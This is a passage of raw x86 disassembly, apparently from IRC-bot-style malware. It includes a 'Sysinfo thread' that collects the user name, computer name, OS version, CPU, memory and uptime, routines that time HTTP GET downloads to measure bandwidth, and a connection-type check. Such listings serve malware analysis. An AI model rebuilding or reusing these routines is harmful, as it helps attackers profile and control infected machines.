		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4081A2
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_408171:				; CODE XREF: sub_40813C+56j
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_408194
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jz	short loc_408194
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_408171
; ---------------------------------------------------------------------------


loc_408194:				; CODE XREF: sub_40813C+3Dj
					; sub_40813C+4Dj
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4081A0
		jmp	short loc_4081A2
; ---------------------------------------------------------------------------


loc_4081A0:				; CODE XREF: sub_40813C+60j
		jmp	short loc_40815A
; ---------------------------------------------------------------------------


loc_4081A2:				; CODE XREF: sub_40813C+2Dj
					; sub_40813C+62j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_4081AE:				; CODE XREF: sub_40813C:loc_4081F5j
		mov	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4081F7
		mov	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_4081D7
		mov	eax, [ebp+var_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_4081F7
; ---------------------------------------------------------------------------


loc_4081D7:				; CODE XREF: sub_40813C+8Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4081F5
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax


loc_4081F5:				; CODE XREF: sub_40813C+AAj
		jmp	short loc_4081AE
; ---------------------------------------------------------------------------


loc_4081F7:				; CODE XREF: sub_40813C+7Aj
					; sub_40813C+99j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_C]
		neg	eax
		sbb	eax, eax
		and	eax, [ebp+var_8]
		leave
		retn
sub_40813C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40820E	proc near		; CODE XREF: sub_40821B:loc_408221p
					; sub_40821B+1Cp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		rdtsc
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40820E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40821B	proc near		; CODE XREF: sub_4083AD+3A4p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h


loc_408221:				; CODE XREF: sub_40821B+4Aj
					; sub_40821B+55j
		call	sub_40820E
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], edx
		push	3E8h
		call	dword_41709C	; Sleep
		call	sub_40820E
		sub	eax, [ebp+var_20]
		sbb	edx, [ebp+var_1C]
		push	0
		push	186A0h
		push	edx
		push	eax
		call	sub_416C90
		push	0
		push	0Ah
		push	edx
		push	eax
		call	sub_416C90
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		ja	short loc_408221
		jb	short loc_408272
		cmp	[ebp+var_8], 0F4240h
		ja	short loc_408221


loc_408272:				; CODE XREF: sub_40821B+4Cj
		push	0
		push	64h
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416C10
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], 64h
		and	[ebp+var_C], 0
		cmp	[ebp+var_14], 0
		ja	short loc_4082AB
		jb	short loc_4082A0
		cmp	[ebp+var_18], 50h
		jnb	short loc_4082AB


loc_4082A0:				; CODE XREF: sub_40821B+7Dj
		mov	[ebp+var_10], 4Bh
		and	[ebp+var_C], 0


loc_4082AB:				; CODE XREF: sub_40821B+7Bj
					; sub_40821B+83j
		cmp	[ebp+var_14], 0
		ja	short loc_4082C4
		jb	short loc_4082B9
		cmp	[ebp+var_18], 47h
		jnb	short loc_4082C4


loc_4082B9:				; CODE XREF: sub_40821B+96j
		mov	[ebp+var_10], 42h
		and	[ebp+var_C], 0


loc_4082C4:				; CODE XREF: sub_40821B+94j
					; sub_40821B+9Cj
		cmp	[ebp+var_14], 0
		ja	short loc_4082DD
		jb	short loc_4082D2
		cmp	[ebp+var_18], 37h
		jnb	short loc_4082DD


loc_4082D2:				; CODE XREF: sub_40821B+AFj
		mov	[ebp+var_10], 32h
		and	[ebp+var_C], 0


loc_4082DD:				; CODE XREF: sub_40821B+ADj
					; sub_40821B+B5j
		cmp	[ebp+var_14], 0
		ja	short loc_4082F6
		jb	short loc_4082EB
		cmp	[ebp+var_18], 26h
		jnb	short loc_4082F6


loc_4082EB:				; CODE XREF: sub_40821B+C8j
		mov	[ebp+var_10], 21h
		and	[ebp+var_C], 0


loc_4082F6:				; CODE XREF: sub_40821B+C6j
					; sub_40821B+CEj
		cmp	[ebp+var_14], 0
		ja	short loc_40830F
		jb	short loc_408304
		cmp	[ebp+var_18], 1Eh
		jnb	short loc_40830F


loc_408304:				; CODE XREF: sub_40821B+E1j
		mov	[ebp+var_10], 19h
		and	[ebp+var_C], 0


loc_40830F:				; CODE XREF: sub_40821B+DFj
					; sub_40821B+E7j
		cmp	[ebp+var_14], 0
		ja	short loc_408325
		jb	short loc_40831D
		cmp	[ebp+var_18], 0Ah
		jnb	short loc_408325


loc_40831D:				; CODE XREF: sub_40821B+FAj
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0


loc_408325:				; CODE XREF: sub_40821B+F8j
					; sub_40821B+100j
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_18]
		mov	ecx, [ebp+var_4]
		sbb	ecx, [ebp+var_14]
		add	eax, [ebp+var_10]
		adc	ecx, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_8]
		leave
		retn
sub_40821B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408342	proc near		; CODE XREF: sub_40D043+156p
					; sub_40D871+30Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1Fh
		push	[ebp+arg_0]
		push	7
		push	400h
		call	dword_417034	; GetLocaleInfoA
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+3], 0
		cmp	[ebp+var_4], 0
		jz	short loc_408381
		push	offset off_419100
		push	[ebp+arg_0]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4083A8


loc_408381:				; CODE XREF: sub_408342+2Aj
		push	1Fh
		push	[ebp+arg_0]
		push	7
		push	800h
		call	dword_417034	; GetLocaleInfoA
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+3], 0
		mov	eax, [ebp+var_4]
		jmp	short locret_4083AB
; ---------------------------------------------------------------------------


loc_4083A8:				; CODE XREF: sub_408342+3Dj
		push	1
		pop	eax

locret_4083AB:				; CODE XREF: sub_408342+64j
		leave
		retn
sub_408342	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4083AD	proc near		; DATA XREF: sub_4087C4+35o

var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_73C		= dword	ptr -73Ch
var_738		= dword	ptr -738h
var_734		= byte ptr -734h
var_72C		= dword	ptr -72Ch
var_728		= dword	ptr -728h
var_714		= dword	ptr -714h
var_710		= dword	ptr -710h
var_70C		= dword	ptr -70Ch
var_708		= byte ptr -708h
var_6F0		= dword	ptr -6F0h
var_6EC		= dword	ptr -6ECh
var_6E8		= dword	ptr -6E8h
var_6E4		= dword	ptr -6E4h
var_6E0		= byte ptr -6E0h
var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= byte ptr -6C8h
var_524		= dword	ptr -524h
var_520		= dword	ptr -520h
var_51C		= dword	ptr -51Ch
var_518		= dword	ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= byte ptr -50Ch
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= byte ptr -47Ch
var_409		= byte ptr -409h
var_408		= byte ptr -408h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 750h
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_6CC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_734]
		push	eax
		call	dword_4170C4	; GlobalMemoryStatus
		mov	eax, [ebp+var_72C]
		add	eax, 100000h
		shr	eax, 14h
		mov	[ebp+var_6F0], eax
		mov	eax, [ebp+var_728]
		add	eax, 100000h
		shr	eax, 14h
		mov	[ebp+var_738], eax
		call	sub_4092A4
		mov	[ebp+var_714], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_6E8], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_524], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_6E4], eax
		mov	[ebp+var_8], 15h
		mov	[ebp+var_6D0], 10h
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_708]
		push	eax
		call	dword_417018	; GetUserNameA
		lea	eax, [ebp+var_6D0]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		call	dword_417078	; GetComputerNameA
		mov	[ebp+var_520], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_51C]
		rep stosd
		lea	eax, [ebp+var_520]
		push	eax
		call	dword_417030	; GetVersionExA
		mov	[ebp+var_48C], offset a? ; "?"
		mov	[ebp+var_710], offset aNoSp ; "no SP"
		cmp	[ebp+var_51C], 4
		jnz	short loc_408522
		cmp	[ebp+var_518], 0
		jnz	short loc_408522
		cmp	[ebp+var_510], 1
		jnz	short loc_40850A
		mov	[ebp+var_48C], offset a95 ; "95"


loc_40850A:				; CODE XREF: sub_4083AD+151j
		cmp	[ebp+var_510], 2
		jnz	short loc_40851D
		mov	[ebp+var_48C], offset aNt ; "NT"


loc_40851D:				; CODE XREF: sub_4083AD+164j
		jmp	loc_4085B6
; ---------------------------------------------------------------------------


loc_408522:				; CODE XREF: sub_4083AD+13Fj
					; sub_4083AD+148j
		cmp	[ebp+var_51C], 4
		jnz	short loc_408540
		cmp	[ebp+var_518], 0Ah
		jnz	short loc_408540
		mov	[ebp+var_48C], offset a98 ; "98"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_408540:				; CODE XREF: sub_4083AD+17Cj
					; sub_4083AD+185j
		cmp	[ebp+var_51C], 4
		jnz	short loc_40855E
		cmp	[ebp+var_518], 5Ah
		jnz	short loc_40855E
		mov	[ebp+var_48C], offset aMe ; "ME"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_40855E:				; CODE XREF: sub_4083AD+19Aj
					; sub_4083AD+1A3j
		cmp	[ebp+var_51C], 5
		jnz	short loc_40857C
		cmp	[ebp+var_518], 0
		jnz	short loc_40857C
		mov	[ebp+var_48C], offset a2000 ; "2000"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_40857C:				; CODE XREF: sub_4083AD+1B8j
					; sub_4083AD+1C1j
		cmp	[ebp+var_51C], 5
		jnz	short loc_40859A
		cmp	[ebp+var_518], 1
		jnz	short loc_40859A
		mov	[ebp+var_48C], offset aXp ; "XP"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------


loc_40859A:				; CODE XREF: sub_4083AD+1D6j
					; sub_4083AD+1DFj
		cmp	[ebp+var_51C], 5
		jnz	short loc_4085B6
		cmp	[ebp+var_518], 2
		jnz	short loc_4085B6
		mov	[ebp+var_48C], offset a2003 ; "2003"


loc_4085B6:				; CODE XREF: sub_4083AD:loc_40851Dj
					; sub_4083AD+191j ...
		cmp	[ebp+var_510], 2
		jnz	short loc_4085D6
		movsx	eax, [ebp+var_50C]
		test	eax, eax
		jz	short loc_4085D6
		lea	eax, [ebp+var_50C]
		mov	[ebp+var_710], eax


loc_4085D6:				; CODE XREF: sub_4083AD+210j
					; sub_4083AD+21Bj
		call	sub_40435B
		test	eax, eax
		jz	short loc_4085EB
		mov	[ebp+var_744], offset aYes ; "Yes"
		jmp	short loc_4085F5
; ---------------------------------------------------------------------------


loc_4085EB:				; CODE XREF: sub_4083AD+230j
		mov	[ebp+var_744], offset aNo ; "No"


loc_4085F5:				; CODE XREF: sub_4083AD+23Cj
		mov	eax, [ebp+var_744]
		mov	[ebp+var_4], eax
		and	[ebp+var_47C], 0
		and	[ebp+var_409], 0
		xor	eax, eax
		cpuid
		mov	[ebp+var_488], ebx
		mov	[ebp+var_484], edx
		mov	[ebp+var_480], ecx
		lea	eax, [ebp+var_488]
		mov	[ebp+var_6EC], eax
		and	[ebp+var_70C], 0
		lea	eax, [ebp+var_70C]
		push	eax
		push	20019h
		push	0
		push	offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"...
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4086B3
		and	[ebp+var_73C], 0
		mov	[ebp+var_740], 80h
		lea	eax, [ebp+var_740]
		push	eax
		lea	eax, [ebp+var_488]
		push	eax
		lea	eax, [ebp+var_73C]
		push	eax
		push	0
		push	offset aProcessornames ; "ProcessorNameString"
		push	[ebp+var_70C]
		call	dword_41700C	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_4086A7
		push	1
		push	1
		lea	eax, [ebp+var_488]
		push	eax
		call	sub_407C2C
		add	esp, 0Ch


loc_4086A7:				; CODE XREF: sub_4083AD+2E5j
		push	[ebp+var_70C]
		call	dword_417028	; RegCloseKey


loc_4086B3:				; CODE XREF: sub_4083AD+2A8j
		cmp	[ebp+var_6E4], 1
		jnz	short loc_4086C8
		mov	[ebp+var_748], offset byte_41DF10
		jmp	short loc_4086D2
; ---------------------------------------------------------------------------


loc_4086C8:				; CODE XREF: sub_4083AD+30Dj
		mov	[ebp+var_748], offset dword_4191F4


loc_4086D2:				; CODE XREF: sub_4083AD+319j
		cmp	[ebp+var_524], 1
		jnz	short loc_4086E7
		mov	[ebp+var_74C], offset byte_41DF10
		jmp	short loc_4086F1
; ---------------------------------------------------------------------------


loc_4086E7:				; CODE XREF: sub_4083AD+32Cj
		mov	[ebp+var_74C], offset dword_4191F4


loc_4086F1:				; CODE XREF: sub_4083AD+338j
		cmp	[ebp+var_6E8], 1
		jnz	short loc_408706
		mov	[ebp+var_750], offset byte_41DF10
		jmp	short loc_408710
; ---------------------------------------------------------------------------


loc_408706:				; CODE XREF: sub_4083AD+34Bj
		mov	[ebp+var_750], offset dword_4191F4


loc_408710:				; CODE XREF: sub_4083AD+357j
		lea	eax, [ebp+var_708]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		push	[ebp+var_748]
		push	[ebp+var_6E4]
		push	[ebp+var_74C]
		push	[ebp+var_524]
		push	[ebp+var_750]
		push	[ebp+var_6E8]
		push	[ebp+var_4]
		push	[ebp+var_6F0]
		push	[ebp+var_738]
		call	sub_40821B
		push	eax
		push	[ebp+var_6EC]
		push	[ebp+var_514]
		push	[ebp+var_518]
		push	[ebp+var_51C]
		push	[ebp+var_710]
		push	[ebp+var_48C]
		push	offset dword_419104
		push	400h
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 54h
		lea	eax, [ebp+var_408]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_6C8]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_6CC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4083AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087C4	proc near		; CODE XREF: sub_40A9CF+1B9Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4087DE
		jmp	short locret_408806
; ---------------------------------------------------------------------------


loc_4087DE:				; CODE XREF: sub_4087C4+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aSysinfoThread ;	"Sysinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_4083AD
		call	sub_4095A4
		add	esp, 10h

locret_408806:				; CODE XREF: sub_4087C4+18j
		leave
		retn
sub_4087C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408808	proc near		; CODE XREF: sub_408887+Bp
					; sub_408887+19p ...

var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4105FB
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		push	7D0h
		push	0
		push	offset a80	; "80"
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		cmp	[ebp+var_8], 0
		jnz	short loc_40885F
		mov	eax, 3E8h
		jmp	short locret_408885
; ---------------------------------------------------------------------------


loc_40885F:				; CODE XREF: sub_408808+4Ej
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		cmp	eax, 3E8h
		jnb	short loc_40887B
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		mov	[ebp+var_2C], eax
		jmp	short loc_408882
; ---------------------------------------------------------------------------


loc_40887B:				; CODE XREF: sub_408808+64j
		mov	[ebp+var_2C], 3E8h


loc_408882:				; CODE XREF: sub_408808+71j
		mov	eax, [ebp+var_2C]

locret_408885:				; CODE XREF: sub_408808+55j
		leave
		retn
sub_408808	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408887	proc near		; CODE XREF: sub_408B30+1C2p
					; sub_40CA29+1E9p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	offset dword_418F60
		call	sub_408808
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_418F6C
		call	sub_408808
		pop	ecx
		mov	[ebp+var_8], eax
		push	offset dword_418F84
		call	sub_408808
		pop	ecx
		mov	[ebp+var_C], eax
		push	offset dword_418F90
		call	sub_408808
		pop	ecx
		mov	[ebp+var_10], eax
		push	offset dword_418FA0
		call	sub_408808
		pop	ecx
		mov	[ebp+var_14], eax
		push	offset dword_418FB0
		call	sub_408808
		pop	ecx
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		add	eax, [ebp+var_14]
		add	eax, [ebp+var_18]
		xor	edx, edx
		push	6
		pop	ecx
		div	ecx
		leave
		retn
sub_408887	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4088FC	proc near		; CODE XREF: sub_408B30:loc_408D33p

var_438		= qword	ptr -438h
var_430		= dword	ptr -430h
var_42C		= qword	ptr -42Ch
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= byte ptr -308h
var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 438h
		and	[ebp+var_8], 0
		jmp	short loc_408912
; ---------------------------------------------------------------------------


loc_40890B:				; CODE XREF: sub_4088FC+23j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_408912:				; CODE XREF: sub_4088FC+Dj
		mov	eax, [ebp+var_8]
		cmp	off_418FC4[eax*4], 0
		jz	short loc_408921
		jmp	short loc_40890B
; ---------------------------------------------------------------------------


loc_408921:				; CODE XREF: sub_4088FC+21j
		mov	eax, [ebp+var_8]
		shr	eax, 1
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_408936
; ---------------------------------------------------------------------------


loc_40892F:				; CODE XREF: sub_4088FC+D6j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_408936:				; CODE XREF: sub_4088FC+31j
		cmp	[ebp+var_4], 3
		jnb	loc_408B2C
		mov	eax, [ebp+var_8]
		dec	eax
		push	eax
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_318], eax
		mov	eax, [ebp+var_318]
		shl	eax, 1
		push	off_418FC4[eax*4]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_318]
		shl	eax, 1
		push	off_418FC8[eax*4]
		lea	eax, [ebp+var_308]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_308]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	2710h
		push	0
		push	offset a80	; "80"
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_310], eax
		cmp	[ebp+var_310], 0
		jnz	short loc_4089D7
		jmp	loc_40892F
; ---------------------------------------------------------------------------


loc_4089D7:				; CODE XREF: sub_4088FC+D4j
		lea	eax, [ebp+var_418]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		push	200h
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+var_310]
		call	sub_4053BF
		add	esp, 0Ch
		and	[ebp+var_314], 0
		call	sub_416B64	; clock
		mov	[ebp+var_41C], eax
		and	[ebp+var_30C], 0


loc_408A3A:				; CODE XREF: sub_4088FC+1AFj
					; sub_4088FC+22Bj
		push	1388h
		push	200h
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+var_310]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_408A93
		cmp	[ebp+var_420], 0FFFFFFFFh
		jz	short loc_408A93
		call	sub_416B64	; clock
		sub	eax, [ebp+var_41C]
		cmp	eax, 1388h
		jnb	short loc_408A93
		cmp	[ebp+var_30C], 100000h
		jb	loc_408B15


loc_408A93:				; CODE XREF: sub_4088FC+16Aj
					; sub_4088FC+173j ...
		cmp	[ebp+var_30C], 2000h
		jnb	short loc_408AAD
		push	[ebp+var_310]
		call	sub_40538D
		pop	ecx
		jmp	short loc_408A3A
; ---------------------------------------------------------------------------


loc_408AAD:				; CODE XREF: sub_4088FC+1A1j
		mov	eax, [ebp+var_30C]
		mov	dword ptr [ebp+var_42C], eax
		and	dword ptr [ebp+var_42C+4], 0
		fild	[ebp+var_42C]
		fstp	[ebp+var_430]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_41C]
		mov	dword ptr [ebp+var_438], eax
		and	dword ptr [ebp+var_438+4], 0
		fild	[ebp+var_438]
		fdiv	flt_417270
		fdivr	[ebp+var_430]
		call	sub_416CF8	; _ftol
		mov	[ebp+var_424], eax
		push	[ebp+var_310]
		call	sub_40538D
		pop	ecx
		mov	eax, [ebp+var_424]
		jmp	short locret_408B2E
; ---------------------------------------------------------------------------


loc_408B15:				; CODE XREF: sub_4088FC+191j
		mov	eax, [ebp+var_30C]
		add	eax, [ebp+var_420]
		mov	[ebp+var_30C], eax
		jmp	loc_408A3A
; ---------------------------------------------------------------------------


loc_408B2C:				; CODE XREF: sub_4088FC+3Ej
		xor	eax, eax

locret_408B2E:				; CODE XREF: sub_4088FC+217j
		leave
		retn
sub_4088FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408B30	proc near		; DATA XREF: sub_408E4A+35o

var_A9C		= qword	ptr -0A9Ch
var_A7C		= qword	ptr -0A7Ch
var_A74		= dword	ptr -0A74h
var_A70		= dword	ptr -0A70h
var_A6C		= dword	ptr -0A6Ch
var_A68		= dword	ptr -0A68h
var_A64		= dword	ptr -0A64h
var_A60		= dword	ptr -0A60h
var_A5C		= byte ptr -0A5Ch
var_8B8		= dword	ptr -8B8h
var_8B4		= dword	ptr -8B4h
var_8B0		= byte ptr -8B0h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= byte ptr -814h
var_414		= byte ptr -414h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A7Ch
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_A60]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41F028
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_824]
		push	eax
		push	0
		push	0
		push	offset dword_41F028
		call	dword_41DF64	; getaddrinfo
		test	eax, eax
		jnz	short loc_408BBC
		push	1
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_414]
		push	eax
		mov	eax, [ebp+var_824]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_824]
		push	dword ptr [eax+18h]
		call	dword_41DF68	; getnameinfo
		push	[ebp+var_824]
		call	dword_41DF6C	; freeaddrinfo


loc_408BBC:				; CODE XREF: sub_408B30+54j
		call	sub_409318
		mov	[ebp+var_8B8], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_830], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_820], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_82C], eax
		push	offset aUnknown_0 ; "Unknown"
		lea	eax, [ebp+var_8B0]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset aUnknown_0 ; "Unknown"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	dword_41DF5C, 0
		jz	short loc_408C9F
		push	0
		push	80h
		lea	eax, [ebp+var_8B0]
		push	eax
		lea	eax, [ebp+var_818]
		push	eax
		call	dword_41DF5C	; InternetGetConnectedStateEx
		test	eax, eax
		jz	short loc_408C9F
		mov	eax, [ebp+var_818]
		and	eax, 1
		test	eax, eax
		jz	short loc_408C8F
		push	offset aModem	; "Modem"
